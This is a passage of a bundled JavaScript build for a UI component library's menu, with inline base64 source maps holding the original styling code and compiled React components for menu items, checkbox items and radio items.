Jixcblx0W2FyaWEtZGlzYWJsZWQ9J3RydWUnXSAqOm5vdCggJHsgTWVudSB9ICkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG4iXX0= */"));
50280 var ItemHelpText = /* @__PURE__ */ createStyled(component_default7, false ? {
50281 target: "e1wg7tti0"
50282 } : {
50283 target: "e1wg7tti0",
50284 label: "ItemHelpText"
50285 })("font-size:", font("helpText.fontSize"), ";line-height:16px;color:", LIGHTER_TEXT_COLOR, ";overflow-wrap:anywhere;[data-active-item]:not( [data-focus-visible] ) *:not( ", Menu22, " ) &,[aria-disabled='true'] *:not( ", Menu22, " ) &{color:inherit;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzVjhDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIGZvbnQsIHJ0bCwgQ09ORklHLCBEUk9QRE9XTl9NT1RJT05fQ1NTIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgSWNvbiBmcm9tICcuLi9pY29uJztcbmltcG9ydCB7IFRydW5jYXRlIH0gZnJvbSAnLi4vdHJ1bmNhdGUnO1xuaW1wb3J0IHR5cGUgeyBDb250ZXh0UHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuY29uc3QgQ09OVEVOVF9XUkFQUEVSX1BBRERJTkcgPSBzcGFjZSggMSApO1xuY29uc3QgSVRFTV9QQURESU5HX0JMT0NLID0gc3BhY2UoIDEgKTtcbmNvbnN0IElURU1fUEFERElOR19JTkxJTkUgPSBzcGFjZSggMyApO1xuXG4vLyBUT0RPOlxuLy8gLSBib3JkZXIgY29sb3IgYW5kIGRpdmlkZXIgY29sb3IgYXJlIGRpZmZlcmVudCBmcm9tIENPTE9SUy50aGVtZSB2YXJpYWJsZXNcbi8vIC0gbGlnaHRlciB0ZXh0IGNvbG9yIGlzIG5vdCBkZWZpbmVkIGluIENPTE9SUy50aGVtZSwgc2hvdWxkIGl0IGJlP1xuLy8gLSBsaWdodGVyIGJhY2tncm91bmQgY29sb3IgaXMgbm90IGRlZmluZWQgaW4gQ09MT1JTLnRoZW1lLCBzaG91bGQgaXQgYmU/XG5jb25zdCBERUZBVUxUX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXTtcbmNvbnN0IERJVklERVJfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgMjAwIF07XG5jb25zdCBMSUdIVEVSX1RFWFRfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF07XG5jb25zdCBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SID0gQ09MT1JTLnRoZW1lLmdyYXlbIDEwMCBdO1xuY29uc3QgVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kO1xuY29uc3QgREVGQVVMVF9CT1hfU0hBRE9XID0gYDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9ICR7IERFRkFVTFRfQk9SREVSX0NPTE9SIH0sICR7IENPTkZJRy5lbGV2YXRpb25NZWRpdW0gfWA7XG5jb25zdCBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPVyA9IGAwIDAgMCAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSAkeyBUT09MQkFSX1ZBUklBTlRfQk9SREVSX0NPTE9SIH1gO1xuXG5jb25zdCBHUklEX1RFTVBMQVRFX0NPTFMgPSAnbWlubWF4KCAwLCBtYXgtY29udGVudCApIDFmcic7XG5cbmV4cG9ydCBjb25zdCBNZW51ID0gc3R5bGVkKCBBcmlha2l0Lk1lbnUgKTwgUGljazwgQ29udGV4dFByb3BzLCAndmFyaWFudCcgPiA+YFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdC8qIFNhbWUgYXMgcG9wb3ZlciBjb21wb25lbnQgKi9cblx0LyogVE9ETzogaXMgdGhlcmUgYSB3YXkgdG8gcmVhZCB0aGUgc2FzcyB2YXJpYWJsZT8gKi9cblx0ei1pbmRleDogMTAwMDAwMDtcblxuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6ICR7IEdSSURfVEVNUExBVEVfQ09MUyB9O1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0bWluLXdpZHRoOiAxNjBweDtcblx0bWF4LXdpZHRoOiAzMjBweDtcblx0bWF4LWhlaWdodDogdmFyKCAtLXBvcG92ZXItYXZhaWxhYmxlLWhlaWdodCApO1xuXG5cdHBhZGRpbmc6ICR7IENPTlRFTlRfV1JBUFBFUl9QQURESU5HIH07XG5cblx0b3ZlcnNjcm9sbC1iZWhhdmlvcjogY29udGFpbjtcblx0b3ZlcmZsb3c6IGF1dG87XG5cblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c01lZGl1bSB9O1xuXHQkeyAoIHByb3BzICkgPT4gY3NzYFxuXHRcdGJveC1zaGFkb3c6ICR7IHByb3BzLnZhcmlhbnQgPT09ICd0b29sYmFyJ1xuXHRcdFx0PyBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPV1xuXHRcdFx0OiBERUZBVUxUX0JPWF9TSEFET1cgfTtcblx0YCB9XG5cblx0LyogT25seSB2aXNpYmxlIGluIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlICovXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuXG5cdC8qIE9wZW4vY2xvc2UgYW5pbWF0aW9uICovXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb24tcHJvcGVydHk6IHRyYW5zZm9ybSwgb3BhY2l0eTtcblx0XHR0cmFuc2l0aW9uLWR1cmF0aW9uOiAkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RVUkFUSU9OIH0sXG5cdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLkZBREVfRFVSQVRJT04gfTtcblx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogJHsgRFJPUERPV05fTU9USU9OX0NTUy5TTElERV9FQVNJTkcgfSxcblx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuRkFERV9FQVNJTkcgfTtcblx0XHR3aWxsLWNoYW5nZTogdHJhbnNmb3JtLCBvcGFjaXR5O1xuXG5cdFx0Jjpub3QoIFtkYXRhLXN1Ym1lbnVdICkge1xuXHRcdFx0LyogUmVnYXJkbGVzcyBvZiB0aGUgc2lkZSwgZmFkZSBpbiBhbmQgb3V0LiAqL1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdCZbZGF0YS1lbnRlcl0ge1xuXHRcdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0fVxuXG5cdFx0XHQvKiBTbGlkZSBpbiB0aGUgZGlyZWN0aW9uIHRoZSBtZW51IGlzIG9wZW5pbmcuICovXG5cdFx0XHQmW2RhdGEtc2lkZT0nYm90dG9tJ10ge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoXG5cdFx0XHRcdFx0LSR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J3RvcCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKFxuXHRcdFx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J2xlZnQnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWChcblx0XHRcdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKFxuXHRcdFx0XHRcdC0keyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdib3R0b20nXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSd0b3AnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggMCApO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLWVudGVyXVtkYXRhLXNpZGU9J2xlZnQnXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKCAwICk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlSXRlbSA9IGNzc2Bcblx0YWxsOiB1bnNldDtcblxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQvKiBPY2N1cHkgdGhlIHdpZHRoIG9mIGFsbCBncmlkIGNvbHVtbnMgKGllLiBmdWxsIHdpZHRoKSAqL1xuXHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogJHsgR1JJRF9URU1QTEFURV9DT0xTIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cblx0QHN1cHBvcnRzICggZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBzdWJncmlkICkge1xuXHRcdC8qXG5cdFx0ICogRGVmaW5lIGEgZ3JpZCBsYXlvdXQgd2hpY2ggaW5oZXJpdHMgdGhlIHNhbWUgY29sdW1ucyBjb25maWd1cmF0aW9uXG5cdFx0ICogZnJvbSB0aGUgcGFyZW50IGxheW91dCAoaWUuIHN1YmdyaWQpLiBUaGlzIGFsbG93cyB0aGUgbWVudVxuXHRcdCAqIHRvIHN5bmNocm9uaXplIHRoZSBpbmRlbnRhdGlvbiBvZiBhbGwgaXRzIGl0ZW1zLlxuXHRcdCAqL1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogc3ViZ3JpZDtcblx0fVxuXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdGxpbmUtaGVpZ2h0OiAyMHB4O1xuXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRwYWRkaW5nLWJsb2NrOiAkeyBJVEVNX1BBRERJTkdfQkxPQ0sgfTtcblx0cGFkZGluZy1pbmxpbmU6ICR7IElURU1fUEFERElOR19JTkxJTkUgfTtcblxuXHQvKlxuXHQgKiBNYWtlIHN1cmUgdGhhdCwgd2hlbiBhbiBpdGVtIGlzIHNjcm9sbGVkIGludG8gdmlldyAoZWcuIHdoaWxlIHVzaW5nIHRoZVxuXHQgKiBrZXlib2FyZCB0byBtb3ZlIGZvY3VzKSwgdGhlIHdob2xlIGl0ZW0gY29tZXMgaW50byB2aWV3XG5cdCAqL1xuXHRzY3JvbGwtbWFyZ2luOiAkeyBDT05URU5UX1dSQVBQRVJfUEFERElORyB9O1xuXG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRvdXRsaW5lOiBub25lO1xuXG5cdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLnRleHREaXNhYmxlZCB9O1xuXHRcdGN1cnNvcjogbm90LWFsbG93ZWQ7XG5cdH1cblxuXHQvKiBBY3RpdmUgaXRlbSAoaW5jbHVkaW5nIGhvdmVyKSAqL1xuXHQmW2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKTpub3QoXG5cdFx0XHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddXG5cdFx0KSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblx0fVxuXG5cdC8qIEtleWJvYXJkIGZvY3VzIChmb2N1cy12aXNpYmxlKSAqL1xuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIDEuNXB4ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0fVxuXG5cdC8qIEFjdGl2ZSAoaWUuIHByZXNzZWQsIG1vdXNlIGRvd24pICovXG5cdCY6YWN0aXZlLFxuXHQmW2RhdGEtYWN0aXZlXSB7XG5cdFx0LyogVE9ETzogc2hvdWxkIHRoZXJlIGJlIGEgdmlzdWFsIGFjdGl2ZSBzdGF0ZT8gKi9cblx0fVxuXG5cdC8qIFdoZW4gdGhlIGl0ZW0gaXMgdGhlIHRyaWdnZXIgb2YgYW4gb3BlbiBzdWJtZW51ICovXG5cdCR7IE1lbnUgfTpub3QoOmZvY3VzKSAmOm5vdCg6Zm9jdXMpW2FyaWEtZXhwYW5kZWQ9XCJ0cnVlXCJdIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SIH07XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdH1cblxuXHRzdmcge1xuXHRcdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW0gKWBcblx0JHsgYmFzZUl0ZW0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDaGVja2JveEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW1DaGVja2JveCApYFxuXHQkeyBiYXNlSXRlbSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhZGlvSXRlbSA9IHN0eWxlZCggQXJpYWtpdC5NZW51SXRlbVJhZGlvIClgXG5cdCR7IGJhc2VJdGVtIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVByZWZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0LyogQWx3YXlzIG9jY3VweSB0aGUgZmlyc3QgY29sdW1uLCBldmVuIHdoZW4gYXV0by1jb2xsYXBzaW5nICovXG5cdGdyaWQtY29sdW1uOiAxO1xuXG5cdC8qXG5cdCAqIEV2ZW4gd2hlbiB0aGUgaXRlbSBpcyBub3QgY2hlY2tlZCwgb2NjdXB5IHRoZSBzYW1lIHNjcmVlbiBzcGFjZSB0byBhdm9pZFxuXHQgKiB0aGUgc3BhY2UgY29sbGFwc2lkZSB3aGVuIG5vIGl0ZW1zIGFyZSBjaGVja2VkLlxuXHQgKi9cblx0JHsgQ2hlY2tib3hJdGVtIH0gPiAmLFxuXHQkeyBSYWRpb0l0ZW0gfSA+ICYge1xuXHRcdC8qIFNhbWUgd2lkdGggYXMgdGhlIGNoZWNrIGljb25zICovXG5cdFx0bWluLXdpZHRoOiAkeyBzcGFjZSggNiApIH07XG5cdH1cblxuXHQkeyBDaGVja2JveEl0ZW0gfSA+ICYsXG5cdCR7IFJhZGlvSXRlbSB9ID4gJixcblx0Jjpub3QoIDplbXB0eSApIHtcblx0XHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBhY3RpdmUsIGV4Y2VwdCB3aGVuIGl0J3MgYSBub24tZm9jdXNlZC9ob3ZlcmVkXG5cdCogc3VibWVudSB0cmlnZ2VyIChpbiB0aGF0IGNhc2UsIGNvbG9yIHNob3VsZCBub3QgYmUgaW5oZXJpdGVkKVxuXHQqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApID4gJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddID4gJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ29udGVudFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQvKlxuXHQgKiBBbHdheXMgb2NjdXB5IHRoZSBzZWNvbmQgY29sdW1uLCBzaW5jZSB0aGUgZmlyc3QgY29sdW1uXG5cdCAqIGlzIHRha2VuIGJ5IHRoZSBwcmVmaXggd3JhcHBlciAod2hlbiBkaXNwbGF5ZWQpLlxuXHQgKi9cblx0Z3JpZC1jb2x1bW46IDI7XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuXHRnYXA6ICR7IHNwYWNlKCAzICkgfTtcblxuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ2hpbGRyZW5XcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0ZmxleDogMTtcblxuXHRkaXNwbGF5OiBpbmxpbmUtZmxleDtcblx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0Z2FwOiAkeyBzcGFjZSggMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVN1ZmZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZmxleDogMCAxIGZpdC1jb250ZW50O1xuXHRtaW4td2lkdGg6IDA7XG5cdHdpZHRoOiBmaXQtY29udGVudDtcblxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0Z2FwOiAkeyBzcGFjZSggMyApIH07XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCAqIFdoZW4gdGhlIHBhcmVudCBtZW51IGl0ZW0gaXMgYWN0aXZlLCBleGNlcHQgd2hlbiBpdCdzIGEgbm9uLWZvY3VzZWQvaG92ZXJlZFxuXHQgKiBzdWJtZW51IHRyaWdnZXIgKGluIHRoYXQgY2FzZSwgY29sb3Igc2hvdWxkIG5vdCBiZSBpbmhlcml0ZWQpXG5cdCAqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApICo6bm90KCR7IE1lbnUgfSkgJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICo6bm90KCR7IE1lbnUgfSkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cCA9IHN0eWxlZCggQXJpYWtpdC5NZW51R3JvdXAgKWBcblx0LyogSWdub3JlIHRoaXMgZWxlbWVudCB3aGVuIGNhbGN1bGF0aW5nIHRoZSBsYXlvdXQuIFVzZWZ1bCBmb3Igc3ViZ3JpZCAqL1xuXHRkaXNwbGF5OiBjb250ZW50cztcbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cExhYmVsID0gc3R5bGVkKCBBcmlha2l0Lk1lbnVHcm91cExhYmVsIClgXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgc3BhY2UoIDMgKSB9O1xuXHRwYWRkaW5nLWJsb2NrLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHRwYWRkaW5nLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFNlcGFyYXRvciA9IHN0eWxlZCggQXJpYWtpdC5NZW51U2VwYXJhdG9yICk8XG5cdFBpY2s8IENvbnRleHRQcm9wcywgJ3ZhcmlhbnQnID5cbj5gXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0Ym9yZGVyOiBub25lO1xuXHRoZWlnaHQ6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyAoIHByb3BzICkgPT5cblx0XHRwcm9wcy52YXJpYW50ID09PSAndG9vbGJhcidcblx0XHRcdD8gVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUlxuXHRcdFx0OiBESVZJREVSX0NPTE9SIH07XG5cdC8qIEFsaWduIHdpdGggbWVudSBpdGVtcycgY29udGVudCAqL1xuXHRtYXJnaW4tYmxvY2s6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuXG5cdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VibWVudUNoZXZyb25JY29uID0gc3R5bGVkKCBJY29uIClgXG5cdHdpZHRoOiAkeyBzcGFjZSggMS41ICkgfTtcblx0JHsgcnRsKFxuXHRcdHtcblx0XHRcdHRyYW5zZm9ybTogYHNjYWxlWCgxKWAsXG5cdFx0fSxcblx0XHR7XG5cdFx0XHR0cmFuc2Zvcm06IGBzY2FsZVgoLTEpYCxcblx0XHR9XG5cdCkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtTGFiZWwgPSBzdHlsZWQoIFRydW5jYXRlIClgXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDIwcHg7XG5cdGNvbG9yOiBpbmhlcml0O1xuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1IZWxwVGV4dCA9IHN0eWxlZCggVHJ1bmNhdGUgKWBcblx0Zm9udC1zaXplOiAkeyBmb250KCAnaGVscFRleHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDE2cHg7XG5cdGNvbG9yOiAkeyBMSUdIVEVSX1RFWFRfQ09MT1IgfTtcblx0b3ZlcmZsb3ctd3JhcDogYW55d2hlcmU7XG5cblx0W2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKSAqOm5vdCggJHsgTWVudSB9ICkgJixcblx0W2FyaWEtZGlzYWJsZWQ9J3RydWUnXSAqOm5vdCggJHsgTWVudSB9ICkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG4iXX0= */"));
50286
50287 // packages/components/build-module/menu/item.mjs
50288 var import_jsx_runtime300 = __toESM(require_jsx_runtime(), 1);
50289 var Item22 = (0, import_element224.forwardRef)(function Item32({
50290 prefix: prefix2,
50291 suffix,
50292 children,
50293 disabled = false,
50294 hideOnClick = true,
50295 store,
50296 ...props
50297 }, ref) {
50298 const menuContext = (0, import_element224.useContext)(Context2);
50299 if (!menuContext?.store) {
50300 throw new Error("Menu.Item can only be rendered inside a Menu component");
50301 }
50302 const computedStore = store ?? menuContext.store;
50303 return /* @__PURE__ */ (0, import_jsx_runtime300.jsxs)(Item3, {
50304 ref,
50305 ...props,
50306 accessibleWhenDisabled: true,
50307 disabled,
50308 hideOnClick,
50309 store: computedStore,
50310 children: [/* @__PURE__ */ (0, import_jsx_runtime300.jsx)(ItemPrefixWrapper, {
50311 children: prefix2
50312 }), /* @__PURE__ */ (0, import_jsx_runtime300.jsxs)(ItemContentWrapper, {
50313 children: [/* @__PURE__ */ (0, import_jsx_runtime300.jsx)(ItemChildrenWrapper, {
50314 children
50315 }), suffix && /* @__PURE__ */ (0, import_jsx_runtime300.jsx)(ItemSuffixWrapper, {
50316 children: suffix
50317 })]
50318 })]
50319 });
50320 });
50321
50322 // packages/components/build-module/menu/checkbox-item.mjs
50323 var import_element225 = __toESM(require_element(), 1);
50324 var import_jsx_runtime301 = __toESM(require_jsx_runtime(), 1);
50325 var CheckboxItem2 = (0, import_element225.forwardRef)(function CheckboxItem3({
50326 suffix,
50327 children,
50328 disabled = false,
50329 hideOnClick = false,
50330 ...props
50331 }, ref) {
50332 const menuContext = (0, import_element225.useContext)(Context2);
50333 if (!menuContext?.store) {
50334 throw new Error("Menu.CheckboxItem can only be rendered inside a Menu component");
50335 }
50336 return /* @__PURE__ */ (0, import_jsx_runtime301.jsxs)(CheckboxItem, {
50337 ref,
50338 ...props,
50339 accessibleWhenDisabled: true,
50340 disabled,
50341 hideOnClick,
50342 store: menuContext.store,
50343 children: [/* @__PURE__ */ (0, import_jsx_runtime301.jsx)(MenuItemCheck, {
50344 store: menuContext.store,
50345 render: /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(ItemPrefixWrapper, {}),
50346 style: {
50347 width: "auto",
50348 height: "auto"
50349 },
50350 children: /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(icon_default2, {
50351 icon: check_default,
50352 size: 24
50353 })
50354 }), /* @__PURE__ */ (0, import_jsx_runtime301.jsxs)(ItemContentWrapper, {
50355 children: [/* @__PURE__ */ (0, import_jsx_runtime301.jsx)(ItemChildrenWrapper, {
50356 children
50357 }), suffix && /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(ItemSuffixWrapper, {
50358 children: suffix
50359 })]
50360 })]
50361 });
50362 });
50363
50364 // packages/components/build-module/menu/radio-item.mjs
50365 var import_element226 = __toESM(require_element(), 1);
50366 var import_primitives35 = __toESM(require_primitives(), 1);
50367 var import_jsx_runtime302 = __toESM(require_jsx_runtime(), 1);
50368 var radioCheck = /* @__PURE__ */ (0, import_jsx_runtime302.jsx)(import_primitives35.SVG, {
50369 xmlns: "http://www.w3.org/2000/svg",
50370 viewBox: "0 0 24 24",
50371 children: /* @__PURE__ */ (0, import_jsx_runtime302.jsx)(import_primitives35.Circle, {
50372 cx: 12,
50373 cy: 12,
50374 r: 3
50375 })
50376 });
50377 var RadioItem2 = (0, import_element226.forwardRef)(function RadioItem3({
50378 suffix,
50379 children,
50380 disabled = false,
50381 hideOnClick = false,
50382 ...props
50383 }, ref) {
50384 const menuContext = (0, import_element226.useContext)(Context2);
50385 if (!menuContext?.store) {
50386 throw new Error("Menu.RadioItem can only be rendered inside a Menu component");
50387 }
50388 return /* @__PURE__ */ (0, import_jsx_runtime302.jsxs)(RadioItem, {
50389 ref,
50390 ...props,
50391 accessibleWhenDisabled: true,
50392 disabled,
50393 hideOnClick,
50394 store: menuContext.store,
50395 children: [/* @__PURE__ */ (0, import_jsx_runtime302.jsx)(MenuItemCheck, {
50396 store: menuContext.store,
